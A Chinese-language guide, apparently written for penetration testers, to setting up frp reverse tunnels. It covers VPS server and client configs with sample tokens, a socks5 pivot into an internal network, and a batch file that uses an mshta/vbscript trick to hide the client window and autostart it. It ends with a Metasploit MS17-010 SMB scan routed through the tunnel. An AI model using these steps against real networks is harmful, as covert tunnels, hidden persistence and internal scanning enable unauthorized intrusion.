服务端设置
#通用配置段[common]#frp服务端监听 [VPS]bind_addr = 0.0.0.0#frp服务器监听端口 [实战中可以用一些通透性较好的端口]bind_port = 7007#服务端Web控制面板登录端口 [通过控制面板,可以实时了解到数据收发情况。实战中用处不大]dashboard_port = 6609#服务端Web控制面板用户名与密码 [强口令]dashboard_user = SuperMandashboard_pwd = WC3pvjmh2tt8#日志输出位置,所有的日志信息都放到当前目录下的frps.log文件中log_file = ./frps.log#日志记录等级,有trace、debug、info、warn、error,通常情况下为infolog_level = info#日志保留时间log_max_days = 3#验证凭据,服务端和客户端的凭据必须一样才能连接auth_token = E0iQEBOdoJeh#启用特权模式,从v0.10.0版本开始默认启用特权模式 [特权模式下,客户端更改配置无需更新服务端]privilege_mode = true#特权模式Token [强口令,建议随机生成]privilege_token = kukezkHC8R1H#特权模式允许分配的端口 [避免端口被滥用]privilege_allow_ports = 4000-50000#心跳检测超时时长heartbeat_timeout = 30#每个代理可以设置的连接池上限max_pool_count = 20#口令认证超时时间,一般不用改authentication_timeout = 900#指定子域名,后续将全部用域名的形式进行访问 [特权模式需下将 *.xxxx.online 解析到外网VPS上,即域名泛解析]subdomain_host = xxxx.online
服务端后台运行
至此,我们的服务端仅运行在前台,如果Ctrl+C停止或者关闭SSH窗口后,frps均会停止运行,因而我们使用 nohup命令将其运行在后台。
nohup后台程序管理或关闭相关命令可自行查询资料,上面这个连接中也有所提及。
nohup ./frps -c frps.ini &
输出如下内容即表示正常运行
nohup: ignoring input and appending output to 'nohup.out'
此时可先使用Ctrl+C关闭nohup,frps依然会在后台运行,使用jobs命令查看后台运行的程序jobs
在结果中我们可以看到frps正在后台正常运行
[1]+ Running nohup ./frps -c frps.ini &
此时访问 x.x.x.x:7500 依然可以打开仪表板界面,至此,服务端即设置完成,你可以关闭SSH窗口了。
客户端设置
#通用配置段[common]#frp服务端IP或域名 [实战中一般都会直接用域名]server_addr = frp.xxxx.online#frp服务器端口server_port = 7007#授权token,此处必须与服务端保持一致,否则无法建立连接auth_token = E0iQEBOdoJeh#启用特权模式 [特权模式下服务端无需配置]privilege_mode = true#特权模式 token,同样要与服务端完全保持一致privilege_token = kukezkHC8R1H#心跳检查间隔与超时时间heartbeat_interval = 10heartbeat_timeout = 30#连接数量pool_count = 20#内网穿透通常用socks5[socks5]type = tcp#连接VPS内网穿透的远程连接端口remote_port = 9066#使用插件socks5代理plugin = socks5#启用加密 [通信内容加密传输,有效防止流量被拦截]use_encryption = true#启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]use_compression = true#socks5连接口令 [根据实际情况进行配置]#plugin_user = SuperMan#plugin_passwd = ZBO0McQe6mE1
客户端后台运行及开机自启
frpc运行时始终有一个命令行窗口运行在前台,影响美观,我们可以使用一个批处理文件来将其运行在后台,而且可以双击执行,每次打开frpc不用再自己输命令了。
在任何一个目录下新建一个文本文件并将其重命名为“frpc.bat”,编辑,粘贴如下内容并保存。
@echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit:beginREMcd C:\frpfrpc -c frpc.iniexit
将cd后的路径更改为你的frpc实际存放的目录。
之后直接运行这个 .bat 文件即可启动frpc并隐藏窗口(可在任务管理器中退出)。
至于开机启动,把这个 .bat 文件直接扔进Windows的开机启动文件夹就好了 :)
至此,客户端配置完成,之后就是你自己根据需要在frpc.ini后追加规则即可。
强烈建议你在使用frp直接测试内网穿透前,先在局域网内测试好相关功能的正常使用,并配置好可能会影响的Windows防火墙等内容,在内网调试通过后再使用frp进行内网穿透测试。
实战



socks5
[common]server_addr = vps_ipserver_port = 4444# 客户端认证 token,需要和服务端 token 保持一致token = 123456# 启用加密,防止流量被拦截use_encryption = true# 启用压缩,提升流量转发速度use_compression = true[socks5]type = tcp# 连接 vps 的端口remote_port = 1080plugin = socks5
测试 VPS IP 的 1080 的 socks5 代理,发现已经连通了。
proxychains
/etc/proxychains.conf
MSF
# sudo msfconsole -qmsf5 > setg proxies socks5:xxx.xxxx.xxx:9066msf5 > use auxiliary/scanner/smb/smb_ms17_010msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178msf5 auxiliary(scanner/smb/smb_ms17_010) > run
